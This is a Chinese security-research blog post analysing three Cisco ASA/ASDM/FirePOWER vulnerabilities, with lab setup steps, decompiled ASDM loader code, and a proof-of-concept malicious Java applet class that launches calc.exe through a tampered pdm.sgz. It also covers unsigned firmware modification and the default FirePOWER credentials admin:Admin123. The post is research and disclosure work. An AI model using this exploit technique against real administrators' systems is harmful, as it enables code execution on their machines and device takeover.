Cisco ASA ASDM FirePOWER Services漏洞分析

IoT 2年前 (2022) admin
843 0 0
1.  产 品 描 述  
思科ASA是广泛部署的企业级防火墙,还支持VPN、IPS和许多其他功能。
思科ASDM是一个图形化界面管理工具,该软件用户远程管理Cisco ASA Software。
FirePower 服务软件,支持思科ASA 5500-X上安装FirePower模块,并提供防火墙服务。
2.  漏 洞 介 绍   

2.1 CVE-2022-20829

当ASDM管理工具连接到ASA设备上,该工具就会下载大量Java文件,并将Java文件加载到内存中去,客户端将会执行在内存中Java字节码实现任意代码执行。

2.2 CVE-2021-1585

该漏洞允许中间人或恶意终端通过ASDM管理工具在ASDM管理员系统上执行任意Java代码(类似CVE-2022-20828)

2.3 CVE-2022-20828

一个经过身份验证的远程漏洞,允许攻击者在安装FirePower模块的设备上实现根目录访问权限。
3.  环 境 搭 建  
搭建环境处处都是坑!!
工具: GNS3
镜像: asav981.qcow2 思科提供的模拟asa设备的镜像
JDK: jdk-6u45-windows-i586.exe(官方建议下载jdk6,jdk8试过无法运行管理程序)
asav升级包:asdm-7171-152.bin

下载地址:

https://www.gns3.com/
https://sysin.org/blog/cisco-asa-9-17/
http://cisco.entrerock.com/software/

3.1 GNS3 如何添加Cisco ASA镜像

Edit->Preferences->Qemu VMS->New->Run this Qemu VM on the GNS3 VM->Name 自定义->RAM自定义->telnet->Existing(Disk image)asav981.qcow2

3.2 Cisco ASA设备配置

TIPS:首次设备加载时间较长,需要耐心等待
网络拓扑

Cisco ASA ASDM FirePOWER Services漏洞分析

ciscoasa>en
ciscoasa#conf t
ciscoasa(config)#int g0/0
ciscoasa(config)#int g 0/0
ciscoasa(config)#ip address dhcp
ciscoasa(config)#nameif inside
ciscoasa(config)#no shut
ciscoasa(config)#exit
ciscoasa(config)#username root password 12345 privilege 15
ciscoasa(config)#http server en
ciscoasa(config)#http 0 0 inside
ciscoasa(config)#show interface ip brief
ciscoasa(config)#write

Cisco ASA ASDM FirePOWER Services漏洞分析

浏览器访问https://192.168.186.130

Cisco ASA ASDM FirePOWER Services漏洞分析


3.3 Cisco ASA设备安装FirePOWER模块

TIPS:
1.ASAV不支持FirePOWER模块,需要导入原生的Cisco ASA镜像
2.ASA 9.2版本以上才支持FirePower模块

Cisco ASA ASDM FirePOWER Services漏洞分析

4.  漏 洞 分 析 

4.1 CVE-2021-1585

ASDM管理工具为JAVA语言编写,反编译Jar包
访问流程:

Cisco ASA ASDM FirePOWER Services漏洞分析

pdm.sgz格式
md5文件hash+lzma数据包
客户端调用class文件回溯
Loader.class
try {
      clazz = jPClassLoader.loadClass(lop._dynapplet);
    } catch (Exception exception) {
      System.out.println("Loader: unable to load dynapplet " + Str.quoted(lop._dynapplet));
      return null;
    } 
    final SgzApplet ia = (SgzApplet)clazz.newInstance();
    sgzApplet._sgzTarget = lop._sgzTarget;
    _InnerAppletMap.put(lop._sgzTarget, sgzApplet);
    (new Thread("SGZ Loader: launchSgzApplet") {
        public void run() {
          ia.init();
          ia.start(lop._args);//调用class中start方法
        }
      }).start();
    return sgzApplet;
lanuchSgzApplet(final LoaderOp lop)->run()->dequeue()
public void run() {
    while (!_ShuttingDown) {
      try {
        LoaderOp loaderOp = dequeue();
        if (loaderOp != null)
          _MainLoader.launchSgzApplet(loaderOp); 
      } catch (Exception exception) {
        exception.printStackTrace();
      } 
    } 
  }

  Vector _loaderActionQueue = new Vector();
  private final synchronized LoaderOp dequeue() {
    while (true) {
      if (_ShuttingDown)
        return null; 
      if (this._loaderActionQueue.size() > 0) {
        LoaderOp loaderOp = this._loaderActionQueue.elementAt(0);//获取第一个元素
        this._loaderActionQueue.removeElementAt(0);
        if (loaderOp != null)
          return loaderOp; 
      } 
      try {
        wait();
      } catch (InterruptedException interruptedException) {}
    } 
  }

//查看变量变化
  private final synchronized void enqueue(LoaderOp paramLoaderOp) {
    this._loaderActionQueue.addElement(paramLoaderOp);
    notifyAll();
  }

  private final String launchSgzApplet(String[] paramArrayOfString) {
    LoaderOp loaderOp = new LoaderOp();
    loaderOp._dynarchives = getParameter("dynarchives");
    loaderOp._sgzTarget = getParameter("sgzTarget");
    loaderOp._dynapplet = getParameter("dynapplet");
    if (loaderOp._dynarchives == null) {
      loaderOp._dynarchives = Str.getArg(paramArrayOfString, "dynArchives");
      loaderOp._sgzTarget = Str.getArg(paramArrayOfString, "sgzTarget");
      loaderOp._dynapplet = Str.getArg(paramArrayOfString, "dynApplet");
    } 
    loaderOp._args = paramArrayOfString;
    _MainLoader.enqueue(loaderOp);
    return "enqueued";
  }

....
根据源码分析可知获取pdm.sgz后,解压文件,将获取的class文件loadclass导入,再调用start函数。
exp
package com.cisco.pdm;

import java.io.*;
import java.util.*;
import com.cisco.nm.dice.loader.SgzApplet;

public final class PDMApplet extends SgzApplet {

  private static PDMApplet b;
  
  public void init() {
  }
  
  public void start(String[] paramArrayOfString) {
    try
    {
      Runtime.getRuntime().exec("cmd.exe /c calc.exe");
    }
    catch (Exception e)
    {
    }
  }
}
测试

Cisco ASA ASDM FirePOWER Services漏洞分析

4.2 CVE-2022-20829

Cisco ASA固件没有做签名,导致攻击者可以任意修改固件内容。
010editor分析固件格式

Cisco ASA ASDM FirePOWER Services漏洞分析

升级包格式

Cisco ASA ASDM FirePOWER Services漏洞分析


修改网站首页内容(修改标题为Hack By Neuron)

Cisco ASA ASDM FirePOWER Services漏洞分析


修改固件一连接ASA设备弹出计算器

Cisco ASA ASDM FirePOWER Services漏洞分析


4.3 CVE-2022-20828

远程命令注入漏洞
FirePOWER模块提供一个内置SHELL

Cisco ASA ASDM FirePOWER Services漏洞分析

expert Invoke a shell(默认凭据 admin:Admin123)

Cisco ASA ASDM FirePOWER Services漏洞分析

ASDM管理工具实现远程命令注入

Cisco ASA ASDM FirePOWER Services漏洞分析


Reference

Black Hat: Do Not Trust the ASA, Trojans! v3



Cisco ASA ASDM FirePOWER Services漏洞分析
END
       

原文始发于微信公众号(山石网科安全技术研究院):Cisco ASA ASDM FirePOWER Services漏洞分析

版权声明:admin 发表于 2022年10月26日 上午10:51。
转载请注明:Cisco ASA ASDM FirePOWER Services漏洞分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...